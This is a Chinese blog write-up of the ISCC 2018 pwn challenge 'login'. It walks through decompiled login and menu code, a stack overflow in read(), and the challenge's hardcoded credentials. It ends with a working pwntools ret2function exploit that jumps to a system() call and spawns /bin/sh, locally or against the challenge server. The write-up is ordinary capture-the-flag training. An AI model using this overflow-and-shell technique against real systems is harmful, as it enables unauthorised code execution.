ISCC-2018-PWN LOGIN

碎碎念

开始了暑假的实习,更新博客速度肯定会慢下来。当然,经过一段时间的学习,博客的质量肯定会有所提升~什么岗位???渗透测试————apt方向。

idea

老规矩,先看看基本信息,在确定思路。64位程序,开了nx。拖到ida里看看程序的逻辑。先验证账号密码,成功后则跳转Menu()方法。在menu中可以看到一个很明显的栈溢出,buf的位置在rbp-50h,而 v2 = read(0, buf, 0x280uLL);。

enter image description here

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int Login()
{
char *v0; // rax
char *v2; // [rsp+0h] [rbp-10h]
unsigned __int64 i; // [rsp+8h] [rbp-8h]

printf("username: ", 0LL);
fflush(_bss_start);
fgets(strUsername, 15, stdin);
v2 = strchr(strUsername, 10);
if ( v2 )
*v2 = 0;
printf("password: ", 10LL, v2);
fflush(_bss_start);
fgets(strPassword, 15, stdin);
v0 = strchr(strPassword, 10);
if ( v0 )
*v0 = 0;
for ( i = 0LL; i <= 1; ++i )
{
LODWORD(v0) = strcmp(strUsername, (&userlist)[2 * i]);
if ( !(_DWORD)v0 )
{
LODWORD(v0) = strcmp(strPassword, (&off_6010A8)[2 * i]);
if ( !(_DWORD)v0 )
{
LODWORD(v0) = Menu(strPassword);
break;
}
}
}
if ( i > 1 )
LODWORD(v0) = puts("Bad credentials. This incident will be reported.");
return (signed int)v0;
}

menu方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 Menu()
{
__int64 result; // rax
char buf[68]; // [rsp+0h] [rbp-50h]
int v2; // [rsp+44h] [rbp-Ch]
__int64 v3; // [rsp+48h] [rbp-8h]

memset(buf, 0, 0x40uLL);
v3 = 0LL;
do
{
while ( 1 )
{
while ( 1 )
{
puts("\nPanel\n\n1. exec command\n2. show user list\n3. exit\n");
printf("Your choice: ");
fflush(_bss_start);
v2 = read(0, buf, 0x280uLL);
buf[v2] = 0;
if ( buf[0] != 49 )
break;
ExecCmd(0LL, buf);
}
if ( buf[0] != 50 )
break;
ShowUserlist(0LL, buf);
}
result = (unsigned __int8)buf[0];
}
while ( buf[0] != 51 );
return result;
}

由于程序中有执行system的地方,在40084A这个地方,思路就明确了,做ret2function。登陆的账号密码定义在rodata段~

1、 在menu中read时覆盖返回地址到40084A
2、 选择功能为1的function,输入/bin/sh\x00。
3、 然后选择3退出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:0000000000400828                 mov     edi, offset cmd ; s
.text:000000000040082D call _strchr
.text:0000000000400832 mov [rbp+var_10], rax
.text:0000000000400836 cmp [rbp+var_10], 0
.text:000000000040083B jz short loc_400844
.text:000000000040083D mov rax, [rbp+var_10]
.text:0000000000400841 mov byte ptr [rax], 0
.text:0000000000400844
.text:0000000000400844 loc_400844: ; CODE XREF: ExecCmd+85↑j
.text:0000000000400844 cmp [rbp+var_4], 0
.text:0000000000400848 jz short loc_400856
.text:000000000040084A mov edi, offset cmd ; command
.text:000000000040084F call _system
.text:0000000000400854 jmp short locret_400860
1
2
3
4
.rodata:0000000000400B28 ; char s2[]
.rodata:0000000000400B28 s2 db 'admin',0 ; DATA XREF: ExecCmd+17↑o
.rodata:0000000000400B28 ; .data:userlist↓o
.rodata:0000000000400B2E aT6obsh2i db 'T6OBSh2i',0 ; DATA XREF: .data:off_6010A8↓o

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *


def login(target):
target.recvuntil('username: ')
target.sendline('admin')
target.recvuntil('password: ')
target.sendline('T6OBSh2i')

def debug(flag):
if flag == 0:
target = remote('47.104.16.75',9000)
return target
else:
target = process('/home/star/Desktop/pwn50')
return target

def exploit(target):
target.recvuntil('Your choice: ')
payload = ''
payload = '1' + 'A' * 79 + p64(0) + p64(0x40084A)
target.sendline(payload)
target.recvuntil('Command: ')
target.sendline('/bin/sh\x00')
target.recvuntil('Your choice: ')
target.sendline('3')
target.interactive()

def main():
target = debug(1)
login(target)
log.success('login success')
exploit(target)

if __name__ == '__main__':
main()

enter image description here

文章作者: Carl Star
文章链接: https://carlstar.club/2018/07/07/pwn4/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 car1's home